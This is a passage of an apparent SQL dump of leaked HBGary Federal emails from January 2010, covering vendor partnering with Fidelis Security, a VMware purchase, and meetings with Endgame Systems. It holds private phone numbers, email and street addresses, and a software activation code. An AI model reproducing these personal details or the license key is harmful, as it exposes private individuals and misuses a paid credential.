\r\n\r\n443-306-5683\r\n\r\n&nbsp;\r\n\r\nBest,\r\n\r\n&nbsp;\r\n\r\nMatt O\'Flynn\r\n\r\n954-559-6934\r\n\r\nwww.hbgary.com\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14175,'aaron_hbgary_com/14175.html'),(1333,'2010-01-21','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297000341.M989382P3547Q1333.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Fidelis Security - add to your consortium of vendors?','Aaron and Ted,\r\n \r\nYou might want to consider adding Fedelis Security to your group of small companies.  A couple of our respected customers suggested we work with them.  \r\n \r\nAaron, you had mentioned NetWitness (NW) as being the network soution, but it looks like Fedelis will be complementary and will do the control part that NW doesn&#39;t do.  It is my understanding that NW is entirely passive -- they record network flow data and analyze that data offline for forensics.  Fidelis has intelligent firewalls that examine content.\r\n\r\n \r\nThe mutual customer wants to take data from HBGary products as input for rules in the Fidelis products.\r\n \r\nThe Fedelis website mainly talks about Data Loss Prevention, but their gov&#39;t messaging is actually a lot broader.  Below is info from their Federal Sales Manager. Fidelis XPS in the Security Operations Center\r\n\r\n\r\n\r\n\r\nAlthough Fidelis XPS is positioned in the marketplace as a DLP tool, customers within federal government agencies and the DoD find it to be very valuable in the SOC. These customers employ it in conjunction with other tools to gain a better understanding of applications in use on the network, and use it in defending against Advanced Persistent Threats (APTs) and in general cybersecurity monitoring.\r\n\r\n Fidelis XPS was designed to provide real-time prevention of data leakage on high-speed networks. The patented architecture required to enable this real-time protection is what provides capabilities attractive to SOC teams, specifically:\r\n\r\n1.       Application visibility and control—Fidelis XPS reassembles network sessions in memory, and begins analysis on partial sessions, decoding the protocols and applications in use to expose core content.  Fidelis XPS allows SOC staff to see in real-time reports exactly which protocols are in use on the network (see attached screen shot).  Plus, Fidelis XPS distinguishes between simple http and social networking, for example, and identifies many webmail applications by name. SOC staff can then set rules to alert and/or prevent on specifics such as source, destination, session size/length/day/time to enable more granular detail and control over network communications, with or without the inclusion of content triggers that traditionally define DLP tools.\r\n\r\n2.       All-ports visibility—Fidelis XPS automatically looks for all protocols it can decode on all ports, in real time. Many traditional security tools require that staff specify port/protocols combinations, which is cumbersome to maintain and can miss the unexpected. Fidelis XPS can be set to alert on protocols running on unusual ports, for instance. This feature is one of the most popular with SOC staff—some have called it a “high-visibility outbound firewall.” \r\n\r\n3.       Flexible policy engine—The granular policy engine in Fidelis XPS can alert on any, or any combination of, the following triggers:\r\n\r\na.        who (source, destination, country, LDAP), \r\n\r\nb.      what (content), \r\n\r\nc.       how (attributes of the network session, like time/day/size/application/protocol/port/etc).\r\n\r\nBecause the engine is easy to use, SOC staff can create rules on the fly to “dial in” on incidents of interest in real time, and edit rules from within alerts themselves to increase specificity, for instance. SOC staff can clone rules and tweak them slightly, to quickly iterate rules for greater information or control.\r\n\r\n4.       Built for high-speed networks—Fidelis XPS provides full analysis and control on fully saturated networks without sampling or packet loss, at speeds of up to 2.5 Gpbs.\r\n\r\n5.       Egress point-based licensing model—Fidelis XPS is delivered on easy to install appliances, priced by the speed of the egress point. Thus, a SOC with a single high-speed connection needs a single Fidelis XPS sensor and a management console, regardless of the number of users in the organization.\r\n\r\n6.       Extensive data externalization—Fidelis XPS offers many flexible options for data externalization, so that alerts can be fed into correlation engines with other tools to enable SOC staff to get a complete picture of network security. \r\n\r\n \r\n \r\n',2744,'aaron_hbgary_com/2744.html'),(1334,'2010-01-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000342.M270606P3547Q1334.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Re: Fidelis Security - add to your consortium of vendors?','Thanks Bob,I think definately a candidate for the second wave. &nbsp;I don\'t want to make the same mistake most \"integrators\" make which is trying to do it all at once. &nbsp;The first step in building a capable cybersecurity solution is developing the intelligence necessary to make the right actions. &nbsp;Netwitness fits well here in their robust ability to analyze network traffic. &nbsp;Once we have a good cyber intelligence capability we will move into step 2 which will be to incorporate some security functions, add in Sourcefire, Mcaffee ePO, etc. &nbsp;It seems that Fidelis might be a good fit here.What do you think?AaronOn Jan 21, 2010, at 2:23 PM, Bob Slapnik wrote:Aaron and Ted,\r\n&nbsp;\r\nYou might want to consider adding Fedelis Security to your group of small companies.&nbsp; A couple of our respected customers suggested we work&nbsp;with them.&nbsp; \r\n&nbsp;\r\nAaron, you had mentioned NetWitness (NW)&nbsp;as being the network soution, but it looks like Fedelis will be complementary and will do the control part that NW doesn\'t do.&nbsp; It is my understanding that NW is entirely passive -- they record network flow data and analyze that data offline for forensics.&nbsp; Fidelis has intelligent firewalls that examine content.\r\n\r\n&nbsp;\r\nThe mutual customer wants to take data from HBGary products as input for rules in the Fidelis products.\r\n&nbsp;\r\nThe Fedelis website mainly talks about Data Loss Prevention, but their gov\'t messaging is actually a lot broader.&nbsp; Below is info from their Federal Sales Manager.&nbsp;Fidelis XPS in the Security Operations Center\r\n\r\n\r\n\r\nAlthough Fidelis XPS is positioned in the marketplace as a DLP tool, customers within federal government agencies and the DoD find it to be very valuable in the SOC. These customers employ it in conjunction with other tools to gain a better understanding of applications in use on the network, and use it in defending against Advanced Persistent Threats (APTs) and in general cybersecurity monitoring.&nbsp;Fidelis XPS was designed to provide real-time prevention of data leakage on high-speed networks. The patented architecture required to enable this real-time protection is what provides capabilities attractive to SOC teams, specifically:1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Application visibility and control—Fidelis XPS reassembles network sessions in memory, and begins analysis on partial sessions, decoding the protocols and applications in use to expose core content. &nbsp;Fidelis XPS allows SOC staff to see in real-time reports exactly which protocols are in use on the network (see attached screen shot). &nbsp;Plus, Fidelis XPS distinguishes between simple http and social networking, for example, and identifies many webmail applications by name. SOC staff can then set rules to alert and/or prevent on specifics such as source, destination, session size/length/day/time to enable more granular detail and control over network communications, with or without the inclusion of content triggers that traditionally define DLP tools.2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; All-ports visibility—Fidelis XPS automatically looks for all protocols it can decode on all ports, in real time. Many traditional security tools require that staff specify port/protocols combinations, which is cumbersome to maintain and can miss the unexpected. Fidelis XPS can be set to alert on protocols running on unusual ports, for instance. This feature is one of the most popular with SOC staff—some have called it a “high-visibility outbound firewall.” 3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Flexible policy engine—The granular policy engine in Fidelis XPS can alert on any, or any combination of, the following triggers:a.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;who (source, destination, country, LDAP), b.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; what (content), c.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; how (attributes of the network session, like time/day/size/application/protocol/port/etc).Because the engine is easy to use, SOC staff can create rules on the fly to “dial in” on incidents of interest in real time, and edit rules from within alerts themselves to increase specificity, for instance. SOC staff can clone rules and tweak them slightly, to quickly iterate rules for greater information or control.4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Built for high-speed networks—Fidelis XPS provides full analysis and control on fully saturated networks without sampling or packet loss, at speeds of up to 2.5 Gpbs.5.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Egress point-based licensing model—Fidelis XPS is delivered on easy to install appliances, priced by the speed of the egress point. Thus, a SOC with a single high-speed connection needs a single Fidelis XPS sensor and a management console, regardless of the number of users in the organization.6.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Extensive data externalization—Fidelis XPS offers many flexible options for data externalization, so that alerts can be fed into correlation engines with other tools to enable SOC staff to get a complete picture of network security. &nbsp;&nbsp;\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8673,'aaron_hbgary_com/8673.html'),(1335,'2010-01-21','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297000342.M535275P3547Q1335.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Fidelis Security - add to your consortium of vendors?','Fine.  I&#39;m just passing on info I learned the past 2 days.  If I get any &quot;gee whiz&quot; info about them I&#39;ll let you know.\r\n \r\nOn Thu, Jan 21, 2010 at 2:27 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nThanks Bob, \r\n\r\nI think definately a candidate for the second wave.  I don&#39;t want to make the same mistake most &quot;integrators&quot; make which is trying to do it all at once.  The first step in building a capable cybersecurity solution is developing the intelligence necessary to make the right actions.  Netwitness fits well here in their robust ability to analyze network traffic.  Once we have a good cyber intelligence capability we will move into step 2 which will be to incorporate some security functions, add in Sourcefire, Mcaffee ePO, etc.  It seems that Fidelis might be a good fit here.\r\n\r\n\r\nWhat do you think?\r\n\r\nAaron \r\n\r\n\r\n\r\n\r\nOn Jan 21, 2010, at 2:23 PM, Bob Slapnik wrote:\r\n\r\nAaron and Ted,\r\n \r\nYou might want to consider adding Fedelis Security to your group of small companies.  A couple of our respected customers suggested we work with them.  \r\n \r\nAaron, you had mentioned NetWitness (NW) as being the network soution, but it looks like Fedelis will be complementary and will do the control part that NW doesn&#39;t do.  It is my understanding that NW is entirely passive -- they record network flow data and analyze that data offline for forensics.  Fidelis has intelligent firewalls that examine content.\r\n\r\n \r\nThe mutual customer wants to take data from HBGary products as input for rules in the Fidelis products.\r\n \r\nThe Fedelis website mainly talks about Data Loss Prevention, but their gov&#39;t messaging is actually a lot broader.  Below is info from their Federal Sales Manager. Fidelis XPS in the Security Operations Center\r\n\r\n\r\n\r\n\r\nAlthough Fidelis XPS is positioned in the marketplace as a DLP tool, customers within federal government agencies and the DoD find it to be very valuable in the SOC. These customers employ it in conjunction with other tools to gain a better understanding of applications in use on the network, and use it in defending against Advanced Persistent Threats (APTs) and in general cybersecurity monitoring.\r\n\r\n Fidelis XPS was designed to provide real-time prevention of data leakage on high-speed networks. The patented architecture required to enable this real-time protection is what provides capabilities attractive to SOC teams, specifically:\r\n\r\n1.       Application visibility and control—Fidelis XPS reassembles network sessions in memory, and begins analysis on partial sessions, decoding the protocols and applications in use to expose core content.  Fidelis XPS allows SOC staff to see in real-time reports exactly which protocols are in use on the network (see attached screen shot).  Plus, Fidelis XPS distinguishes between simple http and social networking, for example, and identifies many webmail applications by name. SOC staff can then set rules to alert and/or prevent on specifics such as source, destination, session size/length/day/time to enable more granular detail and control over network communications, with or without the inclusion of content triggers that traditionally define DLP tools.\r\n\r\n2.       All-ports visibility—Fidelis XPS automatically looks for all protocols it can decode on all ports, in real time. Many traditional security tools require that staff specify port/protocols combinations, which is cumbersome to maintain and can miss the unexpected. Fidelis XPS can be set to alert on protocols running on unusual ports, for instance. This feature is one of the most popular with SOC staff—some have called it a “high-visibility outbound firewall.” \r\n\r\n3.       Flexible policy engine—The granular policy engine in Fidelis XPS can alert on any, or any combination of, the following triggers:\r\n\r\na.        who (source, destination, country, LDAP), \r\n\r\nb.      what (content), \r\n\r\nc.       how (attributes of the network session, like time/day/size/application/protocol/port/etc).\r\n\r\nBecause the engine is easy to use, SOC staff can create rules on the fly to “dial in” on incidents of interest in real time, and edit rules from within alerts themselves to increase specificity, for instance. SOC staff can clone rules and tweak them slightly, to quickly iterate rules for greater information or control.\r\n\r\n4.       Built for high-speed networks—Fidelis XPS provides full analysis and control on fully saturated networks without sampling or packet loss, at speeds of up to 2.5 Gpbs.\r\n\r\n5.       Egress point-based licensing model—Fidelis XPS is delivered on easy to install appliances, priced by the speed of the egress point. Thus, a SOC with a single high-speed connection needs a single Fidelis XPS sensor and a management console, regardless of the number of users in the organization.\r\n\r\n6.       Extensive data externalization—Fidelis XPS offers many flexible options for data externalization, so that alerts can be fed into correlation engines with other tools to enable SOC staff to get a complete picture of network security. \r\n\r\n \r\n \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n',9711,'aaron_hbgary_com/9711.html'),(1336,'2010-01-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000342.M771461P3547Q1336.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Fidelis Security - add to your consortium of vendors?','Cool thanks bobFrom my iPhoneOn Jan 21, 2010, at 2:31 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\nFine.  I&#39;m just passing on info I learned the past 2 days.  If I get any &quot;gee whiz&quot; info about them I&#39;ll let you know.\r\n \r\nOn Thu, Jan 21, 2010 at 2:27 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nThanks Bob, \r\n\r\nI think definately a candidate for the second wave.  I don&#39;t want to make the same mistake most &quot;integrators&quot; make which is trying to do it all at once.  The first step in building a capable cybersecurity solution is developing the intelligence necessary to make the right actions.  Netwitness fits well here in their robust ability to analyze network traffic.  Once we have a good cyber intelligence capability we will move into step 2 which will be to incorporate some security functions, add in Sourcefire, Mcaffee ePO, etc.  It seems that Fidelis might be a good fit here.\r\n\r\n\r\n\r\nWhat do you think?\r\n\r\nAaron \r\n\r\n\r\n\r\n\r\nOn Jan 21, 2010, at 2:23 PM, Bob Slapnik wrote:\r\n\r\nAaron and Ted,\r\n \r\nYou might want to consider adding Fedelis Security to your group of small companies.  A couple of our respected customers suggested we work with them.  \r\n \r\nAaron, you had mentioned NetWitness (NW) as being the network soution, but it looks like Fedelis will be complementary and will do the control part that NW doesn&#39;t do.  It is my understanding that NW is entirely passive -- they record network flow data and analyze that data offline for forensics.  Fidelis has intelligent firewalls that examine content.\r\n\r\n\r\n \r\nThe mutual customer wants to take data from HBGary products as input for rules in the Fidelis products.\r\n \r\nThe Fedelis website mainly talks about Data Loss Prevention, but their gov&#39;t messaging is actually a lot broader.  Below is info from their Federal Sales Manager. Fidelis XPS in the Security Operations Center\r\n\r\n\r\n\r\n\r\n\r\nAlthough Fidelis XPS is positioned in the marketplace as a DLP tool, customers within federal government agencies and the DoD find it to be very valuable in the SOC. These customers employ it in conjunction with other tools to gain a better understanding of applications in use on the network, and use it in defending against Advanced Persistent Threats (APTs) and in general cybersecurity monitoring.\r\n\r\n\r\n Fidelis XPS was designed to provide real-time prevention of data leakage on high-speed networks. The patented architecture required to enable this real-time protection is what provides capabilities attractive to SOC teams, specifically:\r\n\r\n\r\n1.       Application visibility and control—Fidelis XPS reassembles network sessions in memory, and begins analysis on partial sessions, decoding the protocols and applications in use to expose core content.  Fidelis XPS allows SOC staff to see in real-time reports exactly which protocols are in use on the network (see attached screen shot).  Plus, Fidelis XPS distinguishes between simple http and social networking, for example, and identifies many webmail applications by name. SOC staff can then set rules to alert and/or prevent on specifics such as source, destination, session size/length/day/time to enable more granular detail and control over network communications, with or without the inclusion of content triggers that traditionally define DLP tools.\r\n\r\n\r\n2.       All-ports visibility—Fidelis XPS automatically looks for all protocols it can decode on all ports, in real time. Many traditional security tools require that staff specify port/protocols combinations, which is cumbersome to maintain and can miss the unexpected. Fidelis XPS can be set to alert on protocols running on unusual ports, for instance. This feature is one of the most popular with SOC staff—some have called it a “high-visibility outbound firewall.” \r\n\r\n\r\n3.       Flexible policy engine—The granular policy engine in Fidelis XPS can alert on any, or any combination of, the following triggers:\r\n\r\n\r\na.        who (source, destination, country, LDAP), \r\n\r\n\r\nb.      what (content), \r\n\r\n\r\nc.       how (attributes of the network session, like time/day/size/application/protocol/port/etc).\r\n\r\n\r\nBecause the engine is easy to use, SOC staff can create rules on the fly to “dial in” on incidents of interest in real time, and edit rules from within alerts themselves to increase specificity, for instance. SOC staff can clone rules and tweak them slightly, to quickly iterate rules for greater information or control.\r\n\r\n\r\n4.       Built for high-speed networks—Fidelis XPS provides full analysis and control on fully saturated networks without sampling or packet loss, at speeds of up to 2.5 Gpbs.\r\n\r\n\r\n5.       Egress point-based licensing model—Fidelis XPS is delivered on easy to install appliances, priced by the speed of the egress point. Thus, a SOC with a single high-speed connection needs a single Fidelis XPS sensor and a management console, regardless of the number of users in the organization.\r\n\r\n\r\n6.       Extensive data externalization—Fidelis XPS offers many flexible options for data externalization, so that alerts can be fed into correlation engines with other tools to enable SOC staff to get a complete picture of network security. \r\n\r\n\r\n \r\n \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n\r\n\r\n',13056,'aaron_hbgary_com/13056.html'),(1337,'2010-01-21','\"VMware Customer Service\" <customer_service@vmware.com>','/aaron@hbgary.com/new/1297000343.M182328P3547Q1338.eml','aaron@hbgary.com','Account successfully created','The following VMware Account has been successfully created:\r\n\r\n   Email:       aaron@hbgary.com\r\n\r\n   If you need to retrieve your password, please use the following site:\r\n   https://www.vmware.com/account/forgotPassword.do\r\n\r\n   What\'s next?\r\n\r\n   Manage your Account from one central location.\r\n   https://www.vmware.com/accounts/\r\n\r\n   Register your product(s).\r\n   http://www.vmware.com/registernow\r\n\r\n   Download your product(s).\r\n   http://www.vmware.com/download\r\n\r\n   Interact with your peers and VMware experts in our Communities.\r\n   http://communities.vmware.com/home.jspa\r\n\r\n   Contact VMware Support.\r\n   http://www.vmware.com/support/contacts/\r\n\r\n   Purchase products and services on our online store.\r\n   http://www.vmware.com/vmwarestore/\r\n',428,'aaron_hbgary_com/428.html'),(1338,'2010-01-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000343.M3870P3547Q1337.eml','\"Scott Peary\" <scott@hbgary.com>','Status','Hey Scott,\r\n\r\nHave you guys had much time to look at the integration with Palantir?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',1380,'aaron_hbgary_com/1380.html'),(1339,'2010-01-21','Customer_service@vmware.com','/aaron@hbgary.com/new/1297000343.M430298P3547Q1339.eml','aaron@hbgary.com','VMware - Order confirmation for order #4169873511','\r\n\r\n \r\n Store Order Confirmation\r\n\r\n\r\n\r\n \r\na {\r\ncolor:#3366cc;\r\n}\r\n\r\ntable.ReqSum{\r\nwidth:560px;\r\ncolor: #626262;\r\nfont: 11px arial, sans-serif;\r\n}\r\n\r\ntable.ReqSum tr td{\r\nborder-bottom:#CCC 1px solid;\r\nfont: 11px arial, sans-serif;\r\ncolor: #626262;\r\n}\r\n\r\ntable.ReqSum tr.ReqSumHeader td{\r\nfont-weight:bold;\r\nfont: 11px arial, sans-serif; \r\ncolor: #626262;\r\n}\r\n\r\n#contentHolder{\r\nborder-left:1px solid #a1c2e2; \r\nborder-right:1px solid #a1c2e2; \r\nmargin:0;\r\n}\r\n.AddInfoHeader {\r\nfont: 11px arial, sans-serif;\r\ncolor: #626262;\r\n}\r\n.AddInfoContent {\r\nfont: 11px arial, sans-serif;\r\ncolor: #626262;\r\n}\r\n\r\n\r\n\r\n\r\n \r\n  \r\n \r\n \r\n	\r\n		\r\n		\r\n				\r\n				  Dear Customer,Thank you for ordering from VMware on January 21, 2010. Please use this as your proof of purchase. If you paid by credit card, please look for \"DRI*VMware\" on your credit card billing statement.\r\n				\r\n			 \r\n			 \r\n				\r\n				 \r\n				 \r\n					\r\n					 \r\n						Next Steps\r\n						Software Products\r\n						\r\n						 1. Register your product online.\r\n						 2. \r\n													 \r\n						 Media Kits\r\n						\r\n						If you ordered a media kit you will receive a separate email notification when your products have shipped.\r\n					 \r\n					 \r\n						\r\n						 \r\n							\r\n							 \r\n							 Online Training Courses\r\n							  Self-paced courses that contain demos, interactive simulations and more.\r\n							 \r\n							 Learn More\r\n						 \r\n						 \r\n						   \r\n						     \r\n						   \r\n						   \r\n						 \r\n						   \r\n						    Got Support?\r\nTake advantage of VMWare\'s world class technical support. \r\n Learn More\r\n						   \r\n						\r\n					 \r\n					\r\n					\r\n						&nbsp;\r\n					\r\n				 \r\n				 \r\n				 Order Summary\r\n				 \r\n			\r\n				 \r\n				 \r\n					\r\n					 \r\n						Billed to:\r\n						Aaron Barr						\r\n						HBGary 							\r\n						1223 Potomac School Rd.,  					\r\n						Mclean VA 22101 			\r\n						Ph: 719-510-8478					\r\n						aaron@hbgary.com \r\n					 \r\n					 \r\n						Shipped to:  \r\n						Aaron Barr \r\n						HBGary \r\n						1223 Potomac School Rd.,  \r\n						Mclean VA 22101 \r\n						Ph: 719-510-8478\r\n					 \r\n					\r\n					\r\n					 \r\n							Customer Number: 57838876009 \r\n							Order Number: 4169873511 \r\n							Order Date: January 21, 2010 \r\n					 \r\n					\r\n				 \r\n				 \r\n				 \r\n					\r\n					 			 \r\n					 Item NumberProductAmountActivation CodeFUS3-M-CEVMware Fusion 3 (for Mac OS X) Qty Ordered: 1          $79.99M542P-6U001-08N32-0VA82-2H05H		 \r\n					 \r\n					    \r\n					\r\n					 \r\n						\r\n						 \r\n							\r\n							 Subtotal:  	 \r\n							 Shipping:\r\n							 Discount:\r\n							 Tax:\r\n							 Total: \r\n							\r\n							 $79.99  \r\n							 $0.00 \r\n							      \r\n							 $0.00  \r\n							 $79.99\r\n						 \r\n																		\r\n					 \r\n					\r\n				 \r\n         \r\n          				\r\n				 \r\n				 \r\n				 \r\n					More Resources\r\n					\r\nCustomer Service: file a Customer Service Request for issues concerning this order, your VMware account or product registration assistance.\r\n\r\nTechnical Support: visit VMware Technical Support to find information on resolving technical product questions and issues. \r\n					\r\n					\r\n					Copyright  2010 VMware, Inc. All rights reserved.\r\n							\r\n		\r\n		\r\n	\r\n \r\n \r\n  \r\n \r\n\r\n\r\n',1998,'aaron_hbgary_com/1998.html'),(1340,'2010-01-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000343.M703684P3547Q1340.eml','\"John Farrell\" <john@endgames.us>','Re: Endgames / HB Gary Federal','Hey John,\r\n\r\nDo you have a soft copy of the Russia report you could send me?  I want to forward to a few folks within HBGary.  As well looking for a screenshot of a report or graphic that illustrates EGS for a PPT I am putting together.\r\n\r\nThanks,\r\nAaron\r\n\r\nOn Jan 20, 2010, at 3:05 PM, John Farrell wrote:\r\n\r\n> \r\n> \r\n> \r\n> Aaron,\r\n> Yes, I will facilitate introductions to Bill Hornish, Splunk (former Mantech PM at State Dept) and John Williams, CEO, ProInfo (cauldron is their vulnerability analysis/management product I mentioned). I have attached their introductory briefs for your review. I have another company, ATS, but their product competes directly with Palantir. Also, LookingGlass CEO, Derek Gabbard, is someone who you should meet and discuss your model (see his attached whitepaper too).\r\n> \r\n> Look forward to working with you. we\'re set for next Tuesday!\r\n> \r\n> John\r\n> \r\n> \r\n> On Jan 20, 2010, at 11:24 AM, Aaron Barr wrote:\r\n> \r\n>> Hi John,\r\n>> \r\n>> You mentioned a few other companies and reports I was wondering if you could send those to me.  Thanks,\r\n>> Aaron\r\n>> \r\n>> On Jan 19, 2010, at 4:22 PM, John Farrell wrote:\r\n>> \r\n>>> Great meeting you. Look forward to advancing this relationship!\r\n>>> \r\n>>> Just confirmed other meeting for Wed morning. Can we do Tuesday afternoon or Wed afternoon with you and your CTO? Maybe Palantir after that. Thanks\r\n>>> \r\n>>> John\r\n>>> John M Farrell\r\n>>> VP Federal, Endgame Systems\r\n>>> 703.622.9025 M\r\n>>> \r\n>>> ----- Original Message -----\r\n>>> From: Aaron Barr \r\n>>> To: John Farrell\r\n>>> Sent: Tue Jan 19 10:46:25 2010\r\n>>> Subject: Re: Endgames / HB Gary Federal\r\n>>> \r\n>>> Sure thing.\r\n>>> \r\n>>> Greenberry Coffeehouse\r\n>>> 6839 Redmond Dr\r\n>>> Mc Lean? VA\r\n>>> United States\r\n>>> \r\n>>> From my iPhone\r\n>>> \r\n>>> On Jan 19, 2010, at 11:43 AM, John Farrell  wrote:\r\n>>> \r\n>>>> Aaron,\r\n>>>> It was good speaking with you. I look forward to meeting you at\r\n>>>> 230pm today. Please send me the address for the office or coffee\r\n>>>> shop and I\'ll see you there. Thanks\r\n>>>> John\r\n>>>> John M Farrell\r\n>>>> VP Federal, Endgame Systems\r\n>>>> 703.622.9025 M\r\n>>>> \r\n>>>> ----- Original Message -----\r\n>>>> From: John Farrell\r\n>>>> To: aaron@hbgary.com \r\n>>>> Cc: Chris Rouland\r\n>>>> Sent: Tue Jan 19 08:11:53 2010\r\n>>>> Subject: Re: Endgames / HB Gary Federal\r\n>>>> \r\n>>>> Can you call me and we can discuss? Thanks\r\n>>>> John\r\n>>>> 7036229025\r\n>>>> John M Farrell\r\n>>>> VP Federal, Endgame Systems\r\n>>>> 703.622.9025 M\r\n>>>> \r\n>>>> ----- Original Message -----\r\n>>>> From: Aaron Barr \r\n>>>> To: John Farrell\r\n>>>> Cc: Chris Rouland\r\n>>>> Sent: Tue Jan 19 06:56:52 2010\r\n>>>> Subject: Re: Endgames / HB Gary Federal\r\n>>>> \r\n>>>> Hi John,\r\n>>>> \r\n>>>> What does your week look like, maybe we can find some time to get\r\n>>>> together.\r\n>>>> \r\n>>>> Aaron\r\n>>>> \r\n>>>> \r\n>>>> On Jan 14, 2010, at 4:31 PM, Chris Rouland wrote:\r\n>>>> \r\n>>>>> John,\r\n>>>>> \r\n>>>>> I wanted to introduce you to Aaron Barr, the CEO of HBGary\r\n>>>>> Federal.  This is a new company spun out of HB Gary focused on\r\n>>>>> classified government services in our space.  Aaron may have an\r\n>>>>> opportunity to work with us on a Cayman/Corsica data feed for the\r\n>>>>> Army, as well as a few others.  Hopefully you guys can get together\r\n>>>>> face to face soon in DC.\r\n>>>>> \r\n>>>>> Thanks,\r\n>>>>> \r\n>>>>> Chris\r\n>>>>> \r\n>>>>> --\r\n>>>>> Chris Rouland\r\n>>>>> CEO\r\n>>>>> Endgame Systems\r\n>>>>> chris@endgames.us\r\n>>>>> \r\n>>>>> \r\n>>>>> \r\n>>>>> \r\n>>>> \r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>>> \r\n>>>> \r\n>>>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n> \r\n> John M Farrell\r\n> VP Federal \r\n> Endgame Systems\r\n> 75 5th Street Suite 208\r\n> Atlanta, GA 30308\r\n> john@endgames.us\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',5477,'aaron_hbgary_com/5477.html'),(1341,'2010-01-21','\"John Farrell\" <john@endgames.us>','/aaron@hbgary.com/new/1297000343.M946135P3547Q1341.eml','aaron@hbgary.com','Re: Endgames / HB Gary Federal','Screenshot of what? I can share our brief with you. You can take slides from there.\r\n\r\nI can give you a PDF, but I\'d rather not email unless you get a PKI cert from Verisign or someone. Our whitepapers are a little \"touchy\" as you might guess. For now, we\'re being a little conservative on emailing these around. You saw what\'s in there, so I don\'t want it in the wrong hands. Let me know your thoughts. I can give you CD on Tuesday.\r\n\r\nI would be interested in any feedback on Cauldron too. Thanks\r\nJohn\r\nJohn M Farrell\r\nVP Federal, Endgame Systems\r\n703.622.9025 M\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr \r\nTo: John Farrell\r\nSent: Thu Jan 21 14:24:15 2010\nSubject: Re: Endgames / HB Gary Federal\r\n\r\nHey John,\r\n\r\nDo you have a soft copy of the Russia report you could send me?  I want to forward to a few folks within HBGary.  As well looking for a screenshot of a report or graphic that illustrates EGS for a PPT I am putting together.\r\n\r\nThanks,\r\nAaron\r\n\r\nOn Jan 20, 2010, at 3:05 PM, John Farrell wrote:\r\n\r\n> \r\n> \r\n> \r\n> Aaron,\r\n> Yes, I will facilitate introductions to Bill Hornish, Splunk (former Mantech PM at State Dept) and John Williams, CEO, ProInfo (cauldron is their vulnerability analysis/management product I mentioned). I have attached their introductory briefs for your review. I have another company, ATS, but their product competes directly with Palantir. Also, LookingGlass CEO, Derek Gabbard, is someone who you should meet and discuss your model (see his attached whitepaper too).\r\n> \r\n> Look forward to working with you. we\'re set for next Tuesday!\r\n> \r\n> John\r\n> \r\n> \r\n> On Jan 20, 2010, at 11:24 AM, Aaron Barr wrote:\r\n> \r\n>> Hi John,\r\n>> \r\n>> You mentioned a few other companies and reports I was wondering if you could send those to me.  Thanks,\r\n>> Aaron\r\n>> \r\n>> On Jan 19, 2010, at 4:22 PM, John Farrell wrote:\r\n>> \r\n>>> Great meeting you. Look forward to advancing this relationship!\r\n>>> \r\n>>> Just confirmed other meeting for Wed morning. Can we do Tuesday afternoon or Wed afternoon with you and your CTO? Maybe Palantir after that. Thanks\r\n>>> \r\n>>> John\r\n>>> John M Farrell\r\n>>> VP Federal, Endgame Systems\r\n>>> 703.622.9025 M\r\n>>> \r\n>>> ----- Original Message -----\r\n>>> From: Aaron Barr \r\n>>> To: John Farrell\r\n>>> Sent: Tue Jan 19 10:46:25 2010\r\n>>> Subject: Re: Endgames / HB Gary Federal\r\n>>> \r\n>>> Sure thing.\r\n>>> \r\n>>> Greenberry Coffeehouse\r\n>>> 6839 Redmond Dr\r\n>>> Mc Lean? VA\r\n>>> United States\r\n>>> \r\n>>> From my iPhone\r\n>>> \r\n>>> On Jan 19, 2010, at 11:43 AM, John Farrell  wrote:\r\n>>> \r\n>>>> Aaron,\r\n>>>> It was good speaking with you. I look forward to meeting you at\r\n>>>> 230pm today. Please send me the address for the office or coffee\r\n>>>> shop and I\'ll see you there. Thanks\r\n>>>> John\r\n>>>> John M Farrell\r\n>>>> VP Federal, Endgame Systems\r\n>>>> 703.622.9025 M\r\n>>>> \r\n>>>> ----- Original Message -----\r\n>>>> From: John Farrell\r\n>>>> To: aaron@hbgary.com \r\n>>>> Cc: Chris Rouland\r\n>>>> Sent: 